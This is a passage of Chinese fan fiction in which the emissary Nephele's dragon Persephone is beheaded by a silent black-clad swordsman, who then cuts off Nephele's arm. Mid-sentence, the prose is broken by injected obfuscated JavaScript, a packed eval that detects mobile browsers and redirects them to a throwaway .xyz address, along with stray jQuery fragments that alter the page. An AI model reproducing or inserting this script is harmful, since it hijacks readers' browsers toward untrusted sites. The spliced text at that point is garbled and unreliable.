龙载着使者离去,向云间若隐若现的山崖飞翔。


    离开奥赫玛,世界便陷入永夜。黎明的辉光再也落不到人类身上。巨龙贴地飞行,让涅斐勒安稳地跳上草地。超前翻滚卸力,起身后踩了踩柔软的泥土。“嗯,不错。”能做的事都做完了。在阿格莱雅给他明确的答复,回答是否要在讨伐尼卡多利战中用到他前,涅斐勒决定,就在这里等着了。


    不过,他不会是留在奥赫玛的人里面最后一个知道这件事的吧?阿格莱雅瞒着他就算了,她的质疑有理有据。问题是白厄、遐蝶还有迈德漠斯你们几个,看着浓眉大眼居然一点风声都不给他透露,真的是错看你们了。


    涅斐勒坐在珀耳塞福涅以身圈出的空地上,龙的翅膀为他挡住了裹着尘土的风。他取出书本,交叠双腿,心安理得地享受起了暴风雨来临前的宁静。


    他翻开书读了一会,荫云蔽月,珀耳塞福涅慢慢变得躁动起来。它四处兜圈,似乎在寻找着什么。涅斐勒也只好站起身,避免被龙锐利的鳞片划伤。


    “怎么了?是肚子饿了吗?”涅斐勒头痛地问。


    龙没有理会他,将他用身体挡住。它低伏身子,对着忽然出现的蒙面的黑衣剑士发出低号。


    涅斐勒回头看去,心跳一滞,一名黑衣剑士不知何时出现在了他的身后。


    剑士无声无息地看着他。从他身上,涅斐勒感觉不到一丝活人的气息。


    龙的喉咙慢慢鼓起,鳞片随呼吸列阵般耸立。这是攻击的前兆。只要它身边的人类想要,它就会立刻将火焰喷吐到眼前的剑士身上。


    涅斐勒默默停住珀耳塞福涅过保护欲的举动。“请问阁下是?”他尽可能平静地问。


    对面的剑士没有回答。他手中那柄流露着不详气息的巨剑正淌落着黑色的涓流,如同冷冽的眼泪,爬行在干涸的剑锋。


    涅斐勒觉得不妙,默默朝后退去。黑龙配合着他的步调,警惕着剑士的举动。


    就在他转身的刹那,剑士动了——他轻轻指向涅斐勒身边的龙。实体的灰影从半空扭曲的空间跃出,锋锐的剑从四个不同的角度刺进黑龙的翼、尾、与颈。龙嘶吼着,甩动龙尾击飞背后的灰影,抬起双翼挡住身边的人类,张开巨口向前方无差别地喷吐红黑的龙火。


    高温将草木灼成灰烬。烟尘过去,燃烧的山崖已没有了可供人类小憩的草地。


    涅斐勒呼了口气,从龙被龙焰烤至滚烫的双翼下走出,放轻呼吸,走到龙的面前。


    “珀耳塞福涅,疼吗?”他心疼地拍了拍龙的鼻尖,拿出匕首对准自己的手臂。


    “别担心,那家伙的气息消失了,我马上就能修好你的身体,只要稍等片刻……”


    但攻击卷土重来。


    漆黑的剑士本尊从火中站起,第五把剑降临在龙的头顶。那一刻,龙还在闭着眼睛感受造主的温度,纯黑剑光已将它的头颅自前至后一刀两断。


    瞬间,涅斐勒的脑内一片空白。


    经使者之手重塑的造物不存在血液,它们的生息全部来自重塑时被赋予的性质。在塑造珀耳塞福涅时,涅斐勒使用的材料是古战场兵器的残灰,这决定了龙的性情与重获新生后的能力。龙很强,但却不能像以守护的愿望为「质料」的剑士那样一遍遍地死而复生。为了衷心保护自己的龙不会因自己而死,使者将自己和龙建立起了联系,他的血液能快速愈合龙受到的创伤。这样一来,龙只剩唯一的弱点:颅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633287|169313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骨。正如士兵一旦失去良知就会化作被同袍讨伐的怪物,龙一旦被刺穿颅骨,就会死于永无止境的疯狂。


    龙的身体倒在涅斐勒面前,巨大的黑翼在主人失去意识前超前动了动,仿佛是要去遮住离开它便过于柔弱的人类。


    涅斐勒攥紧了匕首,清醒过来后,毫不犹豫刺穿了掌心。黑血淋在龙的身上,但龙却因为受到了致命的攻击,没能再次醒来。


    涅斐勒深深呼吸,强迫自己放开淌血的手,去抱住龙的脑袋,感受着它在自己的怀抱中消逝为一抹向战场刮去的风。


    “……你这混账。”


    “你是什么人?元老院的刺客?不满我的反对者?”涅斐勒收起匕首,他不能用东西和自己微薄的武力以卵击石。“这么多年,他们又研究出新的兵器了?他们觉得,凭一个用剑的家伙就能杀死我?”


    怒气使涅斐勒的声音犹如利刃。黑袍剑士面罩下的脸动了一下,朝他走近。涅斐勒捻起手心黑血作墨,于眼前迅速书写出古老的佩拉斯城流传的符文。漆黑的水流在他身边汇聚,但在它们真的形成态势前,剑士朝前挽剑,涅斐勒的右臂被整条斩下——黑水破碎,溃散成雨滴浇在他的头顶和脸上。


    剑士在涅斐勒倒下前将他拎了起来。迎着那不可思议的厌恶目光,静静地等着他发话。


    涅斐勒的肩膀仍在淌落黑血,但剑士威胁性的动作让他不得不把剩下的一只手扼在那只臂铠上。


    他想知道这剑士究竟是谁,怎么会对珀耳塞福涅如此了解,又为什么能如此果断地找到破解施术的唯一方法……


    意识在消弭,视觉坠入黑暗。


    最后的问题,和戴着手套的手指一同艰涩滑落剑士指尖。